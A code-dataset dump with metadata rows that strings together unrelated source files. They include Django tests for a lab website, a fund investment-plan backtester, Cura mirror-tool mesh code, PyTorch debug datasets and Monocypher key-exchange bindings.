test_response.context) class PostModelTests(BasicTests): '''This class tests various aspects of the :class:`~papers.models.Post` model.''' fixtures = ['test_publication','test_publication_personnel', 'test_project', 'test_personnel'] def test_create_new_post_minimum(self): '''This test creates a :class:`~papers.models.Post` with the required information only.''' test_post = Post(post_title="Test Post", author = Person.objects.get(pk=1), markdown_url = 'https://raw.githubusercontent.com/BridgesLab/Lab-Website/master/LICENSE.md') test_post.save() self.assertEqual(test_post.pk, 1) def test_create_new_post_all(self): '''This test creates a :class:`~papers.models.Post` with all fields entered.''' test_post = Post(post_title="Test Post", author = Person.objects.get(pk=1), markdown_url = 'https://raw.githubusercontent.com/BridgesLab/Lab-Website/master/LICENSE.md', paper = Publication.objects.get(pk=1), project = Project.objects.get(pk=1)) test_post.save() self.assertEqual(test_post.pk, 1) def test_post_unicode(self): '''This test creates a :class:`~papers.models.Post` and then verifies the unicode representation is correct.''' test_post = Post(post_title="Test Post", author = Person.objects.get(pk=1), markdown_url = 'https://raw.githubusercontent.com/BridgesLab/Lab-Website/master/LICENSE.md') test_post.save() self.assertEqual(test_post.__unicode__(), "Test Post") def test_post_slugify(self): '''This test creates a :class:`~papers.models.Post` and then verifies the unicode representation is correct.''' test_post = Post(post_title="Test Post", author = Person.objects.get(pk=1), markdown_url = 'https://raw.githubusercontent.com/BridgesLab/Lab-Website/master/LICENSE.md') test_post.save() self.assertEqual(test_post.post_slug, "test-post") class PostViewTests(BasicTests): '''These test the views associated with post objects.''' fixtures = ['test_post','test_publication','test_publication_personnel', 'test_project', 'test_personnel'] def test_post_details_view(self): """This tests the post-details view, ensuring that templates are loaded correctly. This view uses a user with superuser permissions so does not test the permission levels for this view.""" test_response = self.client.get('/posts/fixture-post') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'post_detail.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTemplateUsed(test_response, 'disqus_snippet.html') self.assertTemplateUsed(test_response, 'analytics_tracking.html') self.assertTrue('post' in test_response.context) test_response = self.client.get('/posts/not-a-fixture-post') self.assertEqual(test_response.status_code, 404) def test_post_list(self): """This tests the post-list view, ensuring that templates are loaded correctly. This view uses a user with superuser permissions so does not test the permission levels for this view.""" test_response = self.client.get('/posts/') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'post_list.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTemplateUsed(test_response, 'analytics_tracking.html') self.assertTrue('post_list' in test_response.context) def test_post_new(self): """This tests the post-new view, ensuring that templates are loaded correctly. This view uses a user with superuser permissions so does not test the permission levels for this view.""" test_response = self.client.get('/posts/new') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'post_form.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTemplateUsed(test_response, 'analytics_tracking.html') def test_post_edit(self): """This tests the post-edit view, ensuring that templates are loaded correctly. This view uses a user with superuser permissions so does not test the permission levels for this view.""" test_response = self.client.get('/posts/fixture-post/edit') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'post_form.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTemplateUsed(test_response, 'analytics_tracking.html') test_response = self.client.get('/posts/not-a-fixture-post/edit') self.assertEqual(test_response.status_code, 404) def test_post_delete(self): """This tests the post-edit view, ensuring that templates are loaded correctly. This view uses a user with superuser permissions so does not test the permission levels for this view.""" test_response = self.client.get('/posts/fixture-post/delete') self.assertEqual(test_response.status_code, 200) self.assertTemplateUsed(test_response, 'confirm_delete.html') self.assertTemplateUsed(test_response, 'base.html') self.assertTemplateUsed(test_response, 'analytics_tracking.html') test_response = self.client.get('/posts/not-a-fixture-post/delete') self.assertEqual(test_response.status_code, 404)

48.744966

135

0.658474

1,686

14,526

5.516607

0.110913

0.107085

0.097839

0.127943

0.823352

0.790883

0.741103

0.729384

0.714762

0.670896

0

0.007857

0.246523

14,526

298

136

48.744966

0.841937

0.313163

0

0.484277

0

0.153252

0.043637

0

0.440252

1

0.138365

false

0

0.031447

0

0.213836

0

null

0

1

0

null

0

1

0

7

b501f5ae4284b9ffa5f05c2ff64466e86336c87a

17,647

py

Python

Funds/AIP.py

Seaaann/MyQuantReserch

acc1e3fd108b049285bcf35bc9d3aa5870143d02

[ "MIT" ]

null

Funds/AIP.py

Seaaann/MyQuantReserch

acc1e3fd108b049285bcf35bc9d3aa5870143d02

[ "MIT" ]

null

Funds/AIP.py

Seaaann/MyQuantReserch

acc1e3fd108b049285bcf35bc9d3aa5870143d02

[ "MIT" ]

null

from fund_tools import * import random def AIP_Weekly( code, start_date, end_date, fund_category, fixed_investment, freq="Monday", df=False, AIP=True, Total_investment=100000, ): fund_net_value = get_fund_net_worth( code, start_date=start_date, end_date=end_date, fund_category=fund_category ) fund_net_value["WeekDay"] = pd.to_datetime(fund_net_value["净值日期"]).dt.day_name() if AIP: fund_net_value["定投金额(本金)"] = 0 for i in range(len(fund_net_value["WeekDay"])): if fund_net_value["WeekDay"].values[i] == freq: fund_net_value["定投金额(本金)"][i] = fixed_investment fund_net_value["累计定投金额(本金)"] = fund_net_value["定投金额(本金)"].cumsum() fund_net_value["购买份额"] = fund_net_value["定投金额(本金)"] / fund_net_value["单位净值"] fund_net_value["累计份额"] = fund_net_value["购买份额"].cumsum() fund_net_value["平均成本"] = fund_net_value["累计定投金额(本金)"] / fund_net_value["累计份额"] fund_net_value["累计收益"] = ( fund_net_value["单位净值"] - fund_net_value["平均成本"] ) * fund_net_value["累计份额"] start_invest = fund_net_value["定投金额(本金)"].values.nonzero()[0][0] fund_net_value["持有天数(定投)"] = ( fund_net_value["净值日期"] - fund_net_value["净值日期"][start_invest] ).dt.days + 1 for i in range(len(fund_net_value["持有天数(定投)"])): if fund_net_value["持有天数(定投)"][i] < 0: fund_net_value["持有天数(定投)"][i] = 0 fund_net_value["年化收益率"] = ( (fund_net_value["累计收益"] + fund_net_value["累计定投金额(本金)"]) / fund_net_value["累计定投金额(本金)"] ) ** (365 / fund_net_value["持有天数(定投)"]) - 1 fund_net_value["累计收益率"] = fund_net_value["累计收益"] / fund_net_value["累计定投金额(本金)"] Stat_df = pd.DataFrame( { "基金代码": code, "持有天数": fund_net_value["持有天数(定投)"].values[-1], "定投时间": freq, "定投金额": fixed_investment, "分投期数": fund_net_value["累计定投金额(本金)"].values[-1] / fixed_investment, "总购买份额": "%.3f" % fund_net_value["累计份额"].values[-1], "平均成本": "%.3f" % fund_net_value["平均成本"].values[-1], "累计收益": "%.3f" % fund_net_value["累计收益"].values[-1], "累计收益率": "%.3f" % fund_net_value["累计收益率"].values[-1], "年化收益率": "%.3f" % fund_net_value["年化收益率"].values[-1], }, index=["AIP"], ) else: fund_net_value["直投金额(本金)"] = 0 fund_net_value["直投金额(本金)"][0] = Total_investment fund_net_value["直投累计购买份额(不变)"] = ( fund_net_value["直投金额(本金)"][0] / fund_net_value["单位净值"][0] ) fund_net_value["直投累计收益"] = ( fund_net_value["单位净值"] - fund_net_value["单位净值"][0] ) * fund_net_value["直投金额(本金)"][0] fund_net_value["直投累计收益率"] = ( fund_net_value["直投累计收益"] / fund_net_value["直投累计购买份额(不变)"] ) fund_net_value["持有天数(直投)"] = ( fund_net_value["净值日期"] - fund_net_value["净值日期"][0] ).dt.days + 1 fund_net_value["直投累计年化收益率"] = ( (fund_net_value["直投金额(本金)"][0] + fund_net_value["直投累计收益"]) / fund_net_value["直投金额(本金)"][0] ) ** (365 / fund_net_value["持有天数(直投)"]) - 1 Stat_df = pd.DataFrame( { "基金代码": code, "持有天数": fund_net_value["持有天数(直投)"].values[-1], "总购买份额": "%.3f" % fund_net_value["直投累计购买份额(不变)"].values[0], "累计收益": "%.3f" % fund_net_value["直投累计收益"].values[-1], "累计收益率": "%.3f" % fund_net_value["直投累计收益率"].values[-1], "年化收益率": "%.3f" % fund_net_value["直投累计年化收益率"].values[-1], }, index=["DIP"], ) if df: return fund_net_value else: return Stat_df def AIP_Weekly_Plans( Freq, code, start_date, end_date, fund_category, fixed_investment, AIP=True, df=False, ): df = pd.DataFrame() for freq in Freq: df = df.append( AIP_Weekly( code, start_date=start_date, end_date=end_date, fund_category=fund_category, fixed_investment=fixed_investment, freq=freq, AIP=True, df=False, ) ) return df def AIP_Weekly_plot( code, start_date, end_date, fund_category, fixed_investment=1000, Freq=["Monday", "Tuesday", "Wednesday", "Thursday", "Friday"], figsize=(12, 8), ): fig, ax = plt.subplots(figsize=figsize) for freq in Freq: AIP_df = AIP_Weekly( code, start_date=start_date, end_date=end_date, fund_category=fund_category, fixed_investment=fixed_investment, freq=freq, AIP=True, df=True, ) ax.plot(AIP_df.净值日期, AIP_df.累计收益率, label=freq) ax.legend() ax.set_xlabel("净值日期", fontsize=14) ax.set_ylabel("定投累计收益", fontsize=14) AIP_direct_df = AIP_Weekly( code, start_date=start_date, end_date=end_date, fund_category=fund_category, fixed_investment=1000, freq="Monday", AIP=False, df=True, ) ax2 = ax.twinx() ax2.plot(AIP_direct_df.净值日期, AIP_direct_df["直投累计收益率"], "--", label="直投累计收益率") ax2.legend(loc="upper right") ax2.set_ylabel("直投累计收益率", fontsize=14) plt.show() def Max_AIP_Weekly( code, start_date, end_date, fund_category, fixed_investment, Threshold=(-3.0, 2.0), AIP=True, df=False, Total_investment=100000, ): fund_net_value = get_fund_net_worth( code, start_date=start_date, end_date=end_date, fund_category=fund_category ) fund_net_value["WeekDay"] = pd.to_datetime(fund_net_value["净值日期"]).dt.day_name() if AIP: fund_net_value["定投金额(本金)"] = 0 fund_net_value["累计定投金额(本金)"] = fund_net_value["定投金额(本金)"].cumsum() for i in range(len(fund_net_value["日增长率"])): if fund_net_value["日增长率"].values[i] <= Threshold[0]: fund_net_value["定投金额(本金)"][i] = fixed_investment fund_net_value["累计定投金额(本金)"] = fund_net_value["定投金额(本金)"].cumsum() elif (fund_net_value["日增长率"].values[i] >= Threshold[1]) & ( fund_net_value["累计定投金额(本金)"].values[i - 1] > fixed_investment ): fund_net_value["定投金额(本金)"][i] = -fixed_investment fund_net_value["累计定投金额(本金)"] = fund_net_value["定投金额(本金)"].cumsum() fund_net_value["购买份额"] = fund_net_value["定投金额(本金)"] / fund_net_value["单位净值"] fund_net_value["累计份额"] = fund_net_value["购买份额"].cumsum() fund_net_value["平均成本"] = fund_net_value["累计定投金额(本金)"] / fund_net_value["累计份额"] fund_net_value["累计收益"] = ( fund_net_value["单位净值"] - fund_net_value["平均成本"] ) * fund_net_value["累计份额"] start_invest = fund_net_value["定投金额(本金)"].values.nonzero()[0][0] fund_net_value["持有天数"] = ( fund_net_value["净值日期"] - fund_net_value["净值日期"][start_invest] ).dt.days + 1 for i in range(len(fund_net_value["持有天数"])): if fund_net_value["持有天数"][i] < 0: fund_net_value["持有天数"][i] = 0 fund_net_value["年化收益率"] = ( (fund_net_value["累计收益"] + fund_net_value["累计定投金额(本金)"]) / fund_net_value["累计定投金额(本金)"] ) ** (365 / fund_net_value["持有天数"]) - 1 fund_net_value["累计收益率"] = fund_net_value["累计收益"] / fund_net_value["累计定投金额(本金)"] Stat_df = pd.DataFrame( { "基金代码": code, "持有天数": fund_net_value["持有天数"].values[-1], "触发投资门槛(低买入)": Threshold[0], "触发投资门槛(高卖出)": Threshold[1], "单次金额": fixed_investment, "买入次数": len(fund_net_value[fund_net_value["定投金额(本金)"] == 1000]), "卖出次数": len(fund_net_value[fund_net_value["定投金额(本金)"] == -1000]), "总购买份额": "%.3f" % fund_net_value["累计份额"].values[-1], "平均成本": "%.3f" % fund_net_value["平均成本"].values[-1], "累计收益": "%.3f" % fund_net_value["累计收益"].values[-1], "累计收益率": "%.3f" % fund_net_value["累计收益率"].values[-1], "年化收益率": "%.3f" % fund_net_value["年化收益率"].values[-1], }, index=["Plan"], ) else: fund_net_value["直投金额(本金)"] = 0 fund_net_value["直投金额(本金)"][0] = Total_investment fund_net_value["直投累计购买份额(不变)"] = ( fund_net_value["直投金额(本金)"][0] / fund_net_value["单位净值"][0] ) fund_net_value["直投累计收益"] = ( fund_net_value["单位净值"] - fund_net_value["单位净值"][0] ) * fund_net_value["直投金额(本金)"][0] fund_net_value["直投累计收益率"] = ( fund_net_value["直投累计收益"] / fund_net_value["直投累计购买份额(不变)"] ) fund_net_value["持有天数(直投)"] = ( fund_net_value["净值日期"] - fund_net_value["净值日期"][0] ).dt.days + 1 fund_net_value["直投累计年化收益率"] = ( (fund_net_value["直投金额(本金)"][0] + fund_net_value["直投累计收益"]) / fund_net_value["直投金额(本金)"][0] ) ** (365 / fund_net_value["持有天数(直投)"]) - 1 Stat_df = pd.DataFrame( { "基金代码": code, "持有天数": fund_net_value["持有天数(直投)"].values[-1], "总购买份额": "%.3f" % fund_net_value["直投累计购买份额(不变)"].values[0], "累计收益": "%.3f" % fund_net_value["直投累计收益"].values[-1], "累计收益率": "%.3f" % fund_net_value["直投累计收益率"].values[-1], "年化收益率": "%.3f" % fund_net_value["直投累计年化收益率"].values[-1], }, index=["DIP"], ) if df: return fund_net_value else: return Stat_df def Max_AIP_Weekly_Plans( code, start_date, end_date, fund_category, fixed_investment, upper_threshold, lower_threshold, ): df = pd.DataFrame() threshold_list = list(itertools.product(lower_threshold, upper_threshold)) for i in range(len(threshold_list)): df = df.append( Max_AIP_Weekly( code, start_date=start_date, end_date=end_date, fund_category=fund_category, fixed_investment=fixed_investment, Threshold=threshold_list[i], df=False, ) ) return df def Max_AIP_Weekly_plot( code, start_date, end_date, fund_category, fixed_investment=1000, max_plan={ "plan 1": (-1.0, 1.0), "plan 2": (-2.0, 2.0), "plan 3": (-3.0, 3.0), "plan 4": (-3.0, 2.0), "plan 5": (-3.0, 1.0), }, figsize=(12, 8), ): fig, ax = plt.subplots(figsize=figsize) for plan in max_plan: Max_AIP_df = Max_AIP_Weekly( code, start_date=start_date, end_date=end_date, fund_category=fund_category, fixed_investment=fixed_investment, Threshold=max_plan[plan], AIP=True, df=True, ) ax.plot(Max_AIP_df.净值日期, Max_AIP_df.累计收益率, label=plan) ax.legend() ax.set_xlabel("净值日期", fontsize=14) ax.set_ylabel("定投累计收益", fontsize=14) Max_AIP_direct_df = Max_AIP_Weekly( code, start_date=start_date, end_date=end_date, fund_category=fund_category, fixed_investment=1000, AIP=False, df=True, ) ax2 = ax.twinx() ax2.plot( Max_AIP_direct_df.净值日期, Max_AIP_direct_df["直投累计收益率"], "r--", label="直投累计收益率" ) ax2.legend(loc="upper right") ax2.set_ylabel("直投累计收益率", fontsize=14) plt.show() def StochasticAIP_Weekly( code, start_date, end_date, fund_category, fixed_investment, Freq, seed, df=False, AIP=True, Total_investment=100000, ): fund_net_value = get_fund_net_worth( code, start_date=start_date, end_date=end_date, fund_category=fund_category ) fund_net_value["WeekDay"] = pd.to_datetime(fund_net_value["净值日期"]).dt.day_name() if AIP: fund_net_value["定投金额(本金)"] = 0 random.seed = seed final_day = list(range(0, len(fund_net_value["WeekDay"]), Freq))[-1] for i in list(range(0, final_day, Freq)): invest_date = random.choice(fund_net_value["WeekDay"][i : i + Freq].values) for j in range(i, i + Freq): if fund_net_value["WeekDay"].values[j] == invest_date: fund_net_value["定投金额(本金)"][j] = fixed_investment fund_net_value["累计定投金额(本金)"] = fund_net_value["定投金额(本金)"].cumsum() fund_net_value["购买份额"] = fund_net_value["定投金额(本金)"] / fund_net_value["单位净值"] fund_net_value["累计份额"] = fund_net_value["购买份额"].cumsum() fund_net_value["平均成本"] = fund_net_value["累计定投金额(本金)"] / fund_net_value["累计份额"] fund_net_value["累计收益"] = ( fund_net_value["单位净值"] - fund_net_value["平均成本"] ) * fund_net_value["累计份额"] start_invest = fund_net_value["定投金额(本金)"].values.nonzero()[0][0] fund_net_value["持有天数"] = ( fund_net_value["净值日期"] - fund_net_value["净值日期"][start_invest] ).dt.days + 1 for i in range(len(fund_net_value["持有天数"])): if fund_net_value["持有天数"][i] < 0: fund_net_value["持有天数"][i] = 0 fund_net_value["年化收益率"] = ( (fund_net_value["累计收益"] + fund_net_value["累计定投金额(本金)"]) / fund_net_value["累计定投金额(本金)"] ) ** (365 / fund_net_value["持有天数"]) - 1 fund_net_value["累计收益率"] = fund_net_value["累计收益"] / fund_net_value["累计定投金额(本金)"] Stat_df = pd.DataFrame( { "基金代码": code, "持有天数": fund_net_value["持有天数"].values[-1], "定投时间": "随机", "定投金额": fixed_investment, "分投期数": fund_net_value["累计定投金额(本金)"].values[-1] / fixed_investment, "总购买份额": "%.3f" % fund_net_value["累计份额"].values[-1], "平均成本": "%.3f" % fund_net_value["平均成本"].values[-1], "累计收益": "%.3f" % fund_net_value["累计收益"].values[-1], "累计收益率": "%.3f" % fund_net_value["累计收益率"].values[-1], "年化收益率": "%.3f" % fund_net_value["年化收益率"].values[-1], }, index=["Plan"], ) else: fund_net_value["直投金额(本金)"] = 0 fund_net_value["直投金额(本金)"][0] = Total_investment fund_net_value["直投累计购买份额(不变)"] = ( fund_net_value["直投金额(本金)"][0] / fund_net_value["单位净值"][0] ) fund_net_value["直投累计收益"] = ( fund_net_value["单位净值"] - fund_net_value["单位净值"][0] ) * fund_net_value["直投金额(本金)"][0] fund_net_value["直投累计收益率"] = ( fund_net_value["直投累计收益"] / fund_net_value["直投累计购买份额(不变)"] ) fund_net_value["持有天数(直投)"] = ( fund_net_value["净值日期"] - fund_net_value["净值日期"][0] ).dt.days + 1 fund_net_value["直投累计年化收益率"] = ( (fund_net_value["直投金额(本金)"][0] + fund_net_value["直投累计收益"]) / fund_net_value["直投金额(本金)"][0] ) ** (365 / fund_net_value["持有天数(直投)"]) - 1 Stat_df = pd.DataFrame( { "基金代码": code, "持有天数": fund_net_value["持有天数(直投)"].values[-1], "总购买份额": "%.3f" % fund_net_value["直投累计购买份额(不变)"].values[0], "累计收益": "%.3f" % fund_net_value["直投累计收益"].values[-1], "累计收益率": "%.3f" % fund_net_value["直投累计收益率"].values[-1], "年化收益率": "%.3f" % fund_net_value["直投累计年化收益率"].values[-1], }, index=["DIP"], ) if df: return fund_net_value else: return Stat_df def StochasticAIP_Weekly_Plans( Freq, seed, code, start_date, end_date, fund_category, fixed_investment ): df = pd.DataFrame() for seed in seed: df = df.append( StochasticAIP_Weekly( code, start_date=start_date, end_date=end_date, fund_category=fund_category, fixed_investment=fixed_investment, Freq=Freq, seed=seed, df=False, AIP=True, ) ) return df def StochasticAIP_Weekly_plot( code, start_date, end_date, fund_category, fixed_investment=1000, Seed=[1, 2, 3, 4, 5], figsize=(12, 8), ): fig, ax = plt.subplots(figsize=figsize) for s in Seed: stochasticAIP_df = StochasticAIP_Weekly( code, start_date=start_date, end_date=end_date, fund_category=fund_category, fixed_investment=fixed_investment, Freq=5, seed=s, AIP=True, df=True, ) ax.plot(stochasticAIP_df.净值日期, stochasticAIP_df.累计收益率, label="Seed " + str(s)) ax.legend() ax.set_xlabel("净值日期", fontsize=14) ax.set_ylabel("定投累计收益", fontsize=14) stochasticAIP_direct_df = StochasticAIP_Weekly( code, start_date=start_date, end_date=end_date, fund_category=fund_category, fixed_investment=1000, Freq=5, seed=123, AIP=False, df=True, ) ax2 = ax.twinx() ax2.plot( stochasticAIP_direct_df.净值日期, stochasticAIP_direct_df["直投累计收益率"], "r--", label="直投累计收益率", ) ax2.legend(loc="upper right") ax2.set_ylabel("直投累计收益率", fontsize=14) plt.show()

31.625448

87

0.541962

2,176

17,647

4.077206

0.06296

0.174369

0.29486

0.042493

0.881988

0.863052

0.848061

0.839044

0.833183

0.806808

0

0.02198

0.303904

17,647

557

88

31.682226

0.700261

0

0.744283

0

0.109424

0

1

0.018711

false

0

0.004158

0

0.04158

0

null

0

1

0

1

0

1

0

null

0

8

82f6af3736bed6742bf2f65c955fd18f2df64d3f

4,505

py

Python

Cura/Uranium/plugins/Tools/MirrorTool/MirrorToolHandle.py

TIAO-JI-FU/3d-printing-with-moveo-1

100ecfd1208fe1890f8bada946145d716b2298eb

[ "MIT" ]

null

Cura/Uranium/plugins/Tools/MirrorTool/MirrorToolHandle.py

TIAO-JI-FU/3d-printing-with-moveo-1

100ecfd1208fe1890f8bada946145d716b2298eb

[ "MIT" ]

null

Cura/Uranium/plugins/Tools/MirrorTool/MirrorToolHandle.py

TIAO-JI-FU/3d-printing-with-moveo-1

100ecfd1208fe1890f8bada946145d716b2298eb

[ "MIT" ]

null

# Copyright (c) 2015 Ultimaker B.V. # Uranium is released under the terms of the LGPLv3 or higher. from UM.Scene.ToolHandle import ToolHandle from UM.View.Renderer import Renderer from UM.Mesh.MeshData import MeshData from UM.Mesh.MeshBuilder import MeshBuilder from UM.Math.Vector import Vector ## Provides the two pyramid-shaped toolhandles for each axis for the mirror tool class MirrorToolHandle(ToolHandle): def __init__(self, parent = None): self._name = "MirrorToolHandle" super().__init__(parent) self._handle_width = 8 self._handle_height = 14 self._handle_position = 20 def buildMesh(self): mb = MeshBuilder() #SOLIDMESH mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(0, self._handle_position, 0), color = self._y_axis_color ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(0, -self._handle_position, 0), color = self._y_axis_color, axis = Vector.Unit_X, angle = 180 ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(self._handle_position, 0, 0), color = self._x_axis_color, axis = Vector.Unit_Z, angle = 90 ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(-self._handle_position, 0, 0), color = self._x_axis_color, axis = Vector.Unit_Z, angle = -90 ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(0, 0, -self._handle_position), color = self._z_axis_color, axis = Vector.Unit_X, angle = 90 ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(0, 0, self._handle_position), color = self._z_axis_color, axis = Vector.Unit_X, angle = -90 ) self.setSolidMesh(mb.build()) #SELECTIONMESH mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(0, self._handle_position, 0), color = ToolHandle.YAxisSelectionColor ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(0, -self._handle_position, 0), color = ToolHandle.YAxisSelectionColor, axis = Vector.Unit_X, angle = 180 ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(self._handle_position, 0, 0), color = ToolHandle.XAxisSelectionColor, axis = Vector.Unit_Z, angle = 90 ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(-self._handle_position, 0, 0), color = ToolHandle.XAxisSelectionColor, axis = Vector.Unit_Z, angle = -90 ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(0, 0, -self._handle_position), color = ToolHandle.ZAxisSelectionColor, axis = Vector.Unit_X, angle = 90 ) mb.addPyramid( width = self._handle_width, height = self._handle_height, depth = self._handle_width, center = Vector(0, 0, self._handle_position), color = ToolHandle.ZAxisSelectionColor, axis = Vector.Unit_X, angle = -90 ) self.setSelectionMesh(mb.build())

31.284722

81

0.555605

461

4,505

5.127983

0.164859

0.215736

0.158629

0.106599

0.769882

0.766497

0

0.019458

0.361154

4,505

143

82

31.503497

0.801946

0.043285

0

0.733333

0

0.003718

0

1

0.016667

false

0

0.041667

0

0.066667

0

null

1

0

1

0

1

0

null

0

7

d2259d921b4d5937d5d2f0d123c1cfbd95c8f5e6

1,599

py

Python

torchelie/datasets/debug.py

maxferrari/Torchelie

d133f227bebc3c4cbbb6167bd1fae815d2b5fa81

[ "MIT" ]

null

torchelie/datasets/debug.py

maxferrari/Torchelie

d133f227bebc3c4cbbb6167bd1fae815d2b5fa81

[ "MIT" ]

null

torchelie/datasets/debug.py

maxferrari/Torchelie

d133f227bebc3c4cbbb6167bd1fae815d2b5fa81

[ "MIT" ]

null

import torch import torchvision.transforms as TF from torch.utils.data import Dataset class ColoredColumns(Dataset): """ A dataset of precedurally generated images of columns randomly colorized. Args: *size (int): size of images transform (transforms or None): the image transforms to apply to the generated pictures """ def __init__(self, *size, transform=None) -> None: super(ColoredColumns, self).__init__() self.size = size self.transform = transform if transform is not None else (lambda x: x) def __len__(self): return 10000 def __getitem__(self, i): cols = torch.randint(0, 255, (3, 1, self.size[1])) expanded = cols.expand(3, *self.size).float() img = TF.ToPILImage()(expanded / 255) return self.transform(img), 0 class ColoredRows(Dataset): """ A dataset of precedurally generated images of rows randomly colorized. Args: *size (int): size of images transform (transforms or None): the image transforms to apply to the generated pictures """ def __init__(self, *size, transform=None) -> None: super(ColoredRows, self).__init__() self.size = size self.transform = transform if transform is not None else (lambda x: x) def __len__(self): return 10000 def __getitem__(self, i): rows = torch.randint(0, 255, (3, self.size[0], 1)) expanded = rows.expand(3, *self.size).float() img = TF.ToPILImage()(expanded / 255) return self.transform(img), 0

30.75

78

0.631645

201

1,599

4.865672

0.293532

0.06544

0.04908

0.034765

0.799591

0.764826

0.670757

0

0.028936

0.265166

1,599

51

79

31.352941

0.803404

0.263915

0

0.592593

1

0

1

0.222222

false

0

0.111111

0.074074

0.555556

0

null

0

1

0

1

0

1

0

null

0

1

0

1

0

7

d233df9bb2a4df76bf68b186b17cf9c43281b4cf

1,411

py

Python

src/monocypher/bindings/crypto_public.py

covert-encryption/monocypher-py

b1ddc33c58e72943584662b0f7f3c2810abed91c

[ "CC0-1.0" ]

4

2021-07-03T00:20:05.000Z

2022-01-18T23:07:34.000Z

src/monocypher/bindings/crypto_public.py

covert-encryption/monocypher-py

b1ddc33c58e72943584662b0f7f3c2810abed91c

[ "CC0-1.0" ]

3

2021-12-30T17:32:24.000Z

2022-01-19T23:04:51.000Z

src/monocypher/bindings/crypto_public.py

covert-encryption/monocypher-py

b1ddc33c58e72943584662b0f7f3c2810abed91c

[ "CC0-1.0" ]

1

2022-01-16T09:48:13.000Z

from monocypher.utils import ensure_length from monocypher._monocypher import lib, ffi def crypto_key_exchange(your_secret_key, their_public_key): ensure_length('your_secret_key', your_secret_key, 32) ensure_length('their_public_key', their_public_key, 32) sk = ffi.from_buffer('uint8_t[32]', your_secret_key) pk = ffi.from_buffer('uint8_t[32]', their_public_key) shared = ffi.new('uint8_t[32]') lib.crypto_key_exchange(shared, sk, pk) return bytes(shared) def crypto_key_exchange_public_key(your_secret_key): ensure_length('your_secret_key', your_secret_key, 32) sk = ffi.from_buffer('uint8_t[32]', your_secret_key) pk = ffi.new('uint8_t[32]') lib.crypto_key_exchange_public_key(pk, sk) return bytes(pk) def crypto_x25519(your_secret_key, their_public_key): ensure_length('your_secret_key', your_secret_key, 32) ensure_length('their_public_key', their_public_key, 32) sk = ffi.from_buffer('uint8_t[32]', your_secret_key) pk = ffi.from_buffer('uint8_t[32]', their_public_key) shared = ffi.new('uint8_t[32]') lib.crypto_x25519(shared, sk, pk) return bytes(shared) def crypto_x25519_public_key(your_secret_key): ensure_length('your_secret_key', your_secret_key, 32) sk = ffi.from_buffer('uint8_t[32]', your_secret_key) pk = ffi.new('uint8_t[32]') lib.crypto_x25519_public_key(pk, sk) return bytes(pk)

30.021277

59

0.739192

226

1,411

4.207965

0.119469

0.168244

0.218717

0.100946

0.880126

0.868559

0.81388

0.725552

0.702419

0

0.051325

0.14387

1,411

46

60

30.673913

0.735927

0

0.666667

0

0.143161

0

1

0.133333

false

0

0.066667

0

0.333333

0

null

0

1

0

1

0

null

0

7

d24a13b20bb8fd40a92d8065e9bd1082958c1c5c

166

py

Python

bender_mc/api/__init__.py

repole/bender-mc

1b3dd3b8d2c66df50a6efe2ac0799c1e1535c102

[ "MIT" ]

null

bender_mc/api/__init__.py

repole/bender-mc

1b3dd3b8d2c66df50a6efe2ac0799c1e1535c102

[ "MIT" ]

null

bender_mc/api/__init__.py

repole/bender-mc

1b3dd3b8d2c66df50a6efe2ac0799c1e1535c102

[ "MIT" ]

null

from bender_mc.api.video import video_api_blueprint from bender_mc.api.media_center import media_center_api_blueprint from bender_mc.api.slots import slots_blueprint

41.5

65

0.891566

28

166

4.928571

0.357143

0.217391

0.26087

0.326087

0.391304

0

0.072289

166

3

66

55.333333

0.896104

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

9

9637be8e880eb4face797226c0e3d590f703e605

176

py

Python

microtbs_rl/algorithms/a2c/__init__.py

alex-petrenko/simple-reinforcement-learning

d0da1d9026d1f05e2552d08e56fbe58ad869fafd

[ "MIT" ]

8

2018-03-05T05:13:39.000Z

2021-02-27T03:12:05.000Z

microtbs_rl/algorithms/a2c/__init__.py

alex-petrenko/simple-reinforcement-learning

d0da1d9026d1f05e2552d08e56fbe58ad869fafd

[ "MIT" ]

null

microtbs_rl/algorithms/a2c/__init__.py

alex-petrenko/simple-reinforcement-learning

d0da1d9026d1f05e2552d08e56fbe58ad869fafd

[ "MIT" ]

4

2018-09-04T04:44:26.000Z

2021-07-22T06:34:51.000Z

from microtbs_rl.algorithms.a2c.agent_a2c import AgentA2C from microtbs_rl.algorithms.a2c.multi_env import MultiEnv from microtbs_rl.algorithms.a2c import train_a2c, enjoy_a2c

44

59

0.875

28

176

5.25

0.464286

0.244898

0.285714

0.489796

0.55102

0

0.042945

0.073864

176

3

60

58.666667

0.858896

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

8

963f089a437ef73fb7d6ff82bc0874009365dad8

1,532

py

Python

tests/test_generate.py

mumblepins/cloudformation-cli

36cbf02f4a588445709b7b6fea32891d169e3246

[ "Apache-2.0" ]

25

2019-11-18T22:42:31.000Z

2019-11-25T16:21:56.000Z

tests/test_generate.py

mumblepins/cloudformation-cli

36cbf02f4a588445709b7b6fea32891d169e3246

[ "Apache-2.0" ]

6

2019-11-19T19:55:16.000Z

2019-11-25T18:51:42.000Z
